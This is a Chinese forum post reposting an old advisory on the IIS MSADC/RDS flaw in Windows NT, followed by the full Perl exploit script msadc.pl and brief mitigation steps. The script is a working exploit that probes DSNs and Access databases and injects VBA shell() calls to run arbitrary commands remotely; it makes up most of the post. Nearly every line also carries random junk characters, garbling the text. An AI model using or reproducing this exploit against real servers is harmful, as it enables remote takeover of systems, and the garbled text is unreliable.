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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Rvf{u8W  
D?S|]]Y!q  
涉及程序: c 8  
Microsoft NT server &@|? %  
paN=I=:*M  
描述: TBJ?8W(  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 X1}M_h %  
<W3p!  
详细: 7z,  $  
如果你没有时间读详细内容的话,就删除: @V^.eVM\R  
c:\Program Files\Common Files\System\Msadc\msadcs.dll $U7/w?gc'  
有关的安全问题就没有了。 sVP\EF8PY  
Kc^ctAk7;  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 P%yL{  
 Jn|<G  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ^9hc`.5N&?  
关于利用ODBC远程漏洞的描述,请参看: -*w2<DCn  
("}Hs[  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ^fd*KM  
Ho/tCU|w  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 G.XxlI}  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp a(O@E%|u  
<bCB-lG*Kb  
这里不再论述。 H@zv-{}T8  
(ESFR0  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: U)-aecB!  
avG#0AY  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset r^"sZk#  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! fM]nP4K`  
q0>9T  
`l?MmIJ  
#将下面这段保存为txt文件,然后: "perl -x 文件名" |8k^jq  
F:<+}{Av  
#!perl B$s6|~  
# a}VR>!b  
# MSADC/RDS 'usage' (aka exploit) script }2BNy9q@  
# *1b0IQ$g  
# by rain.forest.puppy ;XZN0A2  
# hr'?#K  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Q2)5A& U\  
# beta test and find errors! x7l}u`N4  
6OC4?#96%'  
use Socket; use Getopt::Std; sP@XV/`3L6  
getopts("e:vd:h:XR", \%args); mGP%"R2X  
}mZCQJ#`  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ^_G#JJ\@$  
6z~ [Ay  
if (!defined $args{h} && !defined $args{R}) { 3 Z SU^v  
print qq~ Ux" ^3D  
Usage: msadc.pl -h <host> { -d <delay> -X -v } CP"5E?dcK  
-h <host> = host you want to scan (ip or domain) RmKbnS $*q  
-d <seconds> = delay between calls, default 1 second ~PF,[$?4n  
-X = dump Index Server path table, if available Pk5\v0vkg  
-v = verbose >yVrIko  
-e = external dictionary file for step 5 JDnWBEV  
L!/{Z  
Or a -R will resume a command session 9,Dw;|A]  
{#z47Rz  
~; exit;} H|?r_Ns  
g0/ R\  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; O7Jp ;  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} =r`E%P:  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Eqny'44  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); %(? ;`  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} vft7-|8T  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } &];W#9"Z  
n.5M6i/~a  
if (!defined $args{R}){ $ret = &has_msadc; HH(2  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} &V &beq4)p  
7{S;~VH3  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 'S v V10$5  
. "cmd /c "; Td^62D;  
$in=<STDIN>; chomp $in; /-@F|,O)$n  
$command="cmd /c " . $in ; "GqasbX  
*E|3Vy{4  
if (defined $args{R}) {&load; exit;} l!j=em@  
7X$pgNRx/a  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; <Z]j89wzDZ  
&try_btcustmr; E){ODyk  
jgpF+V-n$  
print "\nStep 2: Trying to make our own DSN..."; MbTmdRf  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; z'>b)wY](  
LG("<CU  
print "\nStep 3: Trying known DSNs..."; vPy."/[u  
&known_dsn; UAI'tRY N_  
/k\)q  
print "\nStep 4: Trying known .mdbs..."; Uul5h8F  
&known_mdb; 6_9@s*=d>  
Lq@uwiq!  
if (defined $args{e}){ Dg ~k"Ice  
print "\nStep 5: Trying dictionary of DSN names..."; 65+2+p  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } T`I4_x  
brCL"g|}  
print "Sorry Charley...maybe next time?\n"; cZ.p  
exit; @v /Ae_q!  
m5?t<H~  
############################################################################## pwVGe|h%,  
J<cY'?D  
sub sendraw { # ripped and modded from whisker [zrFW g6N  
sleep($delay); # it's a DoS on the server! At least on mine... a*_" nI&lr  
my ($pstr)=@_; dt<P6pK-  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || &)!N5Veb  
die("Socket problems\n"); KmD#Ia  
if(connect(S,pack "SnA4x8",2,80,$target)){ E%Ysyk  
select(S); $|=1; j{ri]?p  
print $pstr; my @in=<S>; RSjcOQ8&.w  
select(STDOUT); close(S); 4>HQ2S{t  
return @in; !Xq5r8]  
} else { die("Can't connect...\n"); }} AQ"rk9Z  
&"yoJ<L  
############################################################################## <\ ".6=E#W  
^v3J ld  
sub make_header { # make the HTTP request !.|A}8nK  
my $msadc=<<EOT \/ Zo*/  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 &y3;`A7,  
User-Agent: ACTIVEDATA KC<K*UHPAH  
Host: $ip 2XjH1  
Content-Length: $clen shY8h   
Connection: Keep-Alive 1)-VlQK p  
<@n3vO6  
ADCClientVersion:01.06 `,c~M  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ?*QL;[n1  
AY9#{c>X  
--!ADM!ROX!YOUR!WORLD! IJZx$8&A  
Content-Type: application/x-varg gPpk0LZi  
Content-Length: $reqlen Ivq|-LDNc  
=AuxME g  
EOT u$"Ew^C  
; $msadc=~s/\n/\r\n/g; ^w jMu5f  
return $msadc;} "@xL9[d  
*>lXCx  
############################################################################## 4%jQHOZ  
cm>+f^4?n  
sub make_req { # make the RDS request >+[{m<Eq  
my ($switch, $p1, $p2)=@_; ge{%B~x  
my $req=""; my $t1, $t2, $query, $dsn; /XuOv(j  
j  W -K  
if ($switch==1){ # this is the btcustmr.mdb query clT[ ?8*  
$query="Select * from Customers where City=" . make_shell(); HNX/#?3  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . [hiV #  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} AD'c#CT  
6ZC~q=my  
elsif ($switch==2){ # this is general make table query \%#luk@:  
$query="create table AZZ (B int, C varchar(10))"; Oh7wyQiV  
$dsn="$p1";} Gfle"_4m8  
.7Itbp6=R  
elsif ($switch==3){ # this is general exploit table query 6s:  
$query="select * from AZZ where C=" . make_shell(); )},/=#C0  
$dsn="$p1";} |@MGGAk  
+'9xTd  
elsif ($switch==4){ # attempt to hork file info from index server xI5zP? _v  
$query="select path from scope()"; PW*[(VX  
$dsn="Provider=MSIDXS;";} ZP4y35&%y  
AT"!Ys|  
elsif ($switch==5){ # bad query jXyK[q&O&  
$query="select"; @l~MY *hp  
$dsn="$p1";} A^7}:[s20  
- SCFWc  
$t1= make_unicode($query); Ec!R3+  
$t2= make_unicode($dsn); @.v{hkM`  
$req = "\x02\x00\x03\x00"; ].N%A07  
$req.= "\x08\x00" . pack ("S1", length($t1)); [ldx_+xa:E  
$req.= "\x00\x00" . $t1 ; Ehtb`Ms  
$req.= "\x08\x00" . pack ("S1", length($t2)); Gwfi  
$req.= "\x00\x00" . $t2 ; 'R n\CMTH  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; DV~g  
return $req;} idZ]d6  
3TT?GgQ  
############################################################################## fj y2\J!  
\'P79=AU  
sub make_shell { # this makes the shell() statement u< 5{H='6  
return "'|shell(\"$command\")|'";} l`EKL2n  
n!?u/[@  
############################################################################## cq 1)b\|  
xcXnd"YYE  
sub make_unicode { # quick little function to convert to unicode 9P-I)ZqL  
my ($in)=@_; my $out; ,@@FAL  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } %uy?@e  
return $out;} SrvC34<7  
ia%U;M  
############################################################################## '# J/e0o@  
b5UIX Kim  
sub rdo_success { # checks for RDO return success (this is kludge) g;</|Z  
my (@in) = @_; my $base=content_start(@in); lUM-~  
if($in[$base]=~/multipart\/mixed/){ I oC}0C7  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} XCE<].w  
return 0;} o:RO(oA0?  
>m`<AynJ  
############################################################################## !4fT<V (  
Y ^}c+)t  
sub make_dsn { # this makes a DSN for us WeS$$:ro  
my @drives=("c","d","e","f"); P<R'S  
print "\nMaking DSN: "; PWN$x`h g[  
foreach $drive (@drives) {  @@+BPLl  
print "$drive: "; )9V8&,  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . #}nDX4jI  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 8F T@TUFb  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ZTi KU)  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; bqm%@*fZo  
return 0 if $2 eq "404"; # not found/doesn't exist J]$]zD  
if($2 eq "200") { +bcJm  
foreach $line (@results) { ^$J.l+<hy  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Ku]<$uo  
} return 0;} Nvj KB)J  
.^!uazPE0  
############################################################################## s!j vBy  
j{H,{x  
sub verify_exists {  u~j&g  
my ($page)=@_; o<i\1<eI  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ,V # r  
return $results[0];} "I^pb.3  
'FmnlC1  
############################################################################## iVf8M$!m  
FDIOST !  
sub try_btcustmr { Gbc2\A\  
my @drives=("c","d","e","f"); [|oOP$u  
my @dirs=("winnt","winnt35","winnt351","win","windows"); JCZ5q9b  
pq<2:F:Kl  
foreach $dir (@dirs) { E'F87P^>  
print "$dir -> "; # fun status so you can see progress HmVpxD+  
foreach $drive (@drives) { 5?C) v}w+  
print "$drive: "; # ditto oD7^9=#  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; _[u fH*  
$reqlenlen=length( "$reqlen" ); JI[9c,N  
$clen= 206 + $reqlenlen + $reqlen; sGFC?1r?\  
OA8iTn  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 5$"I Uq*  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} T Ue=Yj  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} LP5@ID2G  
Xe:e./@  
############################################################################## hG lRf_{  
|j~{gfpSE  
sub odbc_error { h<IPV'1  
my (@in)=@_; my $base; )+ 12r6W  
my $base = content_start(@in); `ouCQ]tKz  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Nd61ns(N  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 5TVA1  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; jmh$6 N% F  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; z)]Br1  
return $in[$base+4].$in[$base+5].$in[$base+6];} 8z'_dfP=5  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ttA0* >'  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . v[=TPfX0  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} l*>, :y  
SOo}}a0  
############################################################################## YV/JZc f  
RI-)Qx&!f  
sub verbose { ?UV!^w@L:0  
my ($in)=@_; z Ud{9B$  
return if !$verbose; z Feo8S  
print STDOUT "\n$in\n";} uUI@!)@2  
PvqG5-L~W  
############################################################################## " )/febBS  
kJG0X%+w  
sub save { 0N4+6k|  
my ($p1, $p2, $p3, $p4)=@_; D;WQNlTU  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; \ q=Bbfzv  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Dro2R_j{  
close OUT;} b;Uqyc  
{{ /-v3n  
############################################################################## 1JSKK.LuJV  
zkmfu~_)  
sub load { c:sk1I,d~^  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; >Yt+LdG!-  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); g~Agy  
@p=<IN>; close(IN); ,)7y? *D}  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); C9%2}E3Z$)  
$target= inet_aton($ip) || die("inet_aton problems"); P`!31P#]L  
print "Resuming to $ip ..."; kC4}@{4i  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Ym/y2B(  
if($p[1]==1) { 0X[uXf  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; sj\kp ni  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; )-_To&S*  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); $kCLS7 *  
if (rdo_success(@results)){print "Success!\n";} [ nG@ 3n  
else { print "failed\n"; verbose(odbc_error(@results));}} %SlF7$  
elsif ($p[1]==3){ B_#U|10et  
if(run_query("$p[3]")){ c6f[^Q%#j  
print "Success!\n";} else { print "failed\n"; }} "`8~qZ7k  
elsif ($p[1]==4){ ju{\7X5  
if(run_query($drvst . "$p[3]")){ }KCb5_MDF  
print "Success!\n"; } else { print "failed\n"; }} 3lD1G~  
exit;} |\_d^U &`  
:ZP`Y%dt'  
############################################################################## ^TCgSi7k`L  
%_%/ym  
sub create_table { U CF'%R  
my ($in)=@_; Y;OqdO  
$reqlen=length( make_req(2,$in,"") ) - 28; B$@fE}  
$reqlenlen=length( "$reqlen" ); 2P4$^G[  
$clen= 206 + $reqlenlen + $reqlen; }Gg:y?  
my @results=sendraw(make_header() . make_req(2,$in,"")); tX *}l|;(  
return 1 if rdo_success(@results); ~k[q:$T  
my $temp= odbc_error(@results); verbose($temp); =[T_`*s&  
return 1 if $temp=~/Table 'AZZ' already exists/; La#otuw+?  
return 0;} STY\c5  
:r,o-D  
############################################################################## f+iM_MI  
^t#W?rxp&  
sub known_dsn { +U];  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 9 9S-P}xd  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", `U[s d*C"  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ?ta(`+"  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); mhZ60RW  
v<c@bDZ>  
foreach $dSn (@dsns) { d0MF\yxh  
print "."; kz+OUA@~  
next if (!is_access("DSN=$dSn")); ;&v~tD7  
if(create_table("DSN=$dSn")){ us TPr  
print "$dSn successful\n"; ~Dz`O"X3  
if(run_query("DSN=$dSn")){ FSn&N2[D  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 3A>Bnb  
print "Something's borked. Use verbose next time\n";}}} print "\n";} h8me.=S&  
WC<K(PP  
############################################################################## uw,p\:D&  
s#*T(pY  
sub is_access { [h^>Iq (Z  
my ($in)=@_; DsZBhjCB  
$reqlen=length( make_req(5,$in,"") ) - 28; 4OOH 3O  
$reqlenlen=length( "$reqlen" ); pk,]yi,ZF  
$clen= 206 + $reqlenlen + $reqlen; ,]UCq?YW)T  
my @results=sendraw(make_header() . make_req(5,$in,"")); 3Sb'){.MT+  
my $temp= odbc_error(@results); , e6}p  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); //_aIp  
return 0;} Q7vTTn\  
cXY;Tw45  
############################################################################## cun&'JOH?U  
7@*l2edXm+  
sub run_query { /degBL+  
my ($in)=@_; UZ` <D/  
$reqlen=length( make_req(3,$in,"") ) - 28; +^\TG>le  
$reqlenlen=length( "$reqlen" ); .3 JLa8y  
$clen= 206 + $reqlenlen + $reqlen; t'pY~a9F  
my @results=sendraw(make_header() . make_req(3,$in,"")); ~$\9T.tre2  
return 1 if rdo_success(@results); Fw!TTH6l0  
my $temp= odbc_error(@results); verbose($temp); 6*]g~)7`Q~  
return 0;} /PuN+M  
Sl RQi:  
############################################################################## cB ,l=/?  
=T0;F0@#4  
sub known_mdb { ] s))O6^f  
my @drives=("c","d","e","f","g"); l,n V*Z  
my @dirs=("winnt","winnt35","winnt351","win","windows"); _'"whZ)2  
my $dir, $drive, $mdb; zj9)vr`7  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 8:)W!tr  
,fa'  
# this is sparse, because I don't know of many 2[8C?7_K0?  
my @sysmdbs=( "\\catroot\\icatalog.mdb", r%^l~PN  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Gec?  
"\\system32\\certmdb.mdb", c'8pTP%[  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% c4'k-\JvT  
f1_b``M  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", jLZ^EM-  
"\\cfusion\\cfapps\\forums\\forums_.mdb", c{X:0man  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", lPywr TG0  
"\\cfusion\\cfapps\\security\\realm_.mdb", " A}S92  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", X5hamkM*m  
"\\cfusion\\database\\cfexamples.mdb", SZhW)0  
"\\cfusion\\database\\cfsnippets.mdb", #2~-I  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", th?w&;L  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", E1&9( L5  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 4%s6 d,6"  
"\\cfusion\\database\\smpolicy.mdb", p]-\\o}  
"\\cfusion\\database\cypress.mdb", 7|/Ct;oO:  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", f=L&>X  
"\\website\\cgi-win\\dbsample.mdb", x&kM /z?/  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ~5Cid)Q}@o  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" &Is}<Ew  
); #these are just &*4C{N  
foreach $drive (@drives) { nbECEQ:|B  
foreach $dir (@dirs){ dpPu&m+  
foreach $mdb (@sysmdbs) { ZHWxU  
print "."; 5@kNvi  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ oXxY$x*R1  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; \[57Dmo  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ,R~{$QUl  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; k)t_U3i  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 7l~d_<h  
H`:2J8   
foreach $drive (@drives) { Ww[Xqmg  
foreach $mdb (@mdbs) { q|}%6ztv-  
print "."; Q^H8gsv  
if(create_table($drv . $drive . $dir . $mdb)){ (1pR=  
print "\n" . $drive . $dir . $mdb . " successful\n"; m'b9 f6  
if(run_query($drv . $drive . $dir . $mdb)){ MN.h,^b  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Ddr.kXIpo  
} else { print "Something's borked. Use verbose next time\n"; }}}} 2.>WR~ \  
}  4.7 PL  
y_7lSo8<  
############################################################################## QQPT=_P]  
Mkj`  
sub hork_idx { jgW-&nK!  
print "\nAttempting to dump Index Server tables...\n"; <U]!1  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; /qd5{%:  
$reqlen=length( make_req(4,"","") ) - 28; VPh0{(O^=  
$reqlenlen=length( "$reqlen" ); XjRk1 ~  
$clen= 206 + $reqlenlen + $reqlen; x/B1\U I  
my @results=sendraw2(make_header() . make_req(4,"","")); A%[ BCY_  
if (rdo_success(@results)){ S /kM#  
my $max=@results; my $c; my %d; .yF@Ow  
for($c=19; $c<$max; $c++){ `+\6;nM  
$results[$c]=~s/\x00//g; JoCZ{MhM  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 3tjF4C>h|  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 2:6W_[7l!  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; WCdl 25L#  
$d{"$1$2"}="";} RnaxRnXVR  
foreach $c (keys %d){ print "$c\n"; } AVnH|31dC~  
} else {print "Index server doesn't seem to be installed.\n"; }} Mxmo}tt  
$5]}]  
############################################################################## "K9/^S_  
aob+_9o  
sub dsn_dict { H:k?#7D(  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); "PD^]m  
while(<IN>){ ].Sz2vI  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; y v58~w*"  
next if (!is_access("DSN=$dSn")); IrMUw$  
if(create_table("DSN=$dSn")){ s;ivoGe}  
print "$dSn successful\n"; fFNs cY<4w  
if(run_query("DSN=$dSn")){ x_+-TC4IXn  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { V'q?+p] a  
print "Something's borked. Use verbose next time\n";}}} Hh1]\4D,4  
print "\n"; close(IN);} #aua6V!"  
TlEd#XQgf&  
############################################################################## B4Fuvi  
_t/~C*=:=  
sub sendraw2 { # ripped and modded from whisker !0Mx Bem  
sleep($delay); # it's a DoS on the server! At least on mine...  CK"OHjR  
my ($pstr)=@_; tgVMgu  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || .}c&" L;W  
die("Socket problems\n"); &Yklf?EZ>Q  
if(connect(S,pack "SnA4x8",2,80,$target)){ i< b-$9  
print "Connected. Getting data"; Q;xJ/4 Z"  
open(OUT,">raw.out"); my @in; L[cP2X]NQ  
select(S); $|=1; print $pstr; o}p^q:T*  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} rHa*WA;TE  
close(OUT); select(STDOUT); close(S); return @in;  Iysp)  
} else { die("Can't connect...\n"); }} c<a)Yqf"]  
*yZ `aKfH  
############################################################################## {zTnE?(o`  
YZ k.{#^c  
sub content_start { # this will take in the server headers XkhGU?={  
my (@in)=@_; my $c; =G9I7Y@  
for ($c=1;$c<500;$c++) { rk-GQ#SKU  
if($in[$c] =~/^\x0d\x0a/){ fpa ~~E-  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } :OFs" bC  
else { return $c+1; }}} PWBcK_4i%  
return -1;} # it should never get here actually KDS} "/  
N`HiNb [  
############################################################################## ~Jh1$O,9o  
3OB=D{$V  
sub funky { x:6c@2  
my (@in)=@_; my $error=odbc_error(@in); 5~[m]   
if($error=~/ADO could not find the specified provider/){ Fy$f`w_H@  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 2 oo/KndU  
exit;} 9Wv}g"KY0  
if($error=~/A Handler is required/){ (2Z k fN  
print "\nServer has custom handler filters (they most likely are patched)\n"; [Qqomm.[\w  
exit;} 6E-AfY'<  
if($error=~/specified Handler has denied Access/){ R uGG3"|  
print "\nServer has custom handler filters (they most likely are patched)\n"; fgoLN\  
exit;}} 6]sP"  
WS ^,@>A  
############################################################################## f.Y [2b  
!$hi:3{U ,  
sub has_msadc { lc$wjK[w[  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); =<%[P9y  
my $base=content_start(@results); }a%1$>sj  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); UDT\Xc  
return 0;} L++qMRk9  
D&{CC  
######################## T I|h  
;pw9+zo ^M  
fKW)h?.Kd  
解决方案: =NmW}x|n  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll .b? Aq^i8  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 unih"};ou  
)Dp0swJ  
拿出来充数 哈哈
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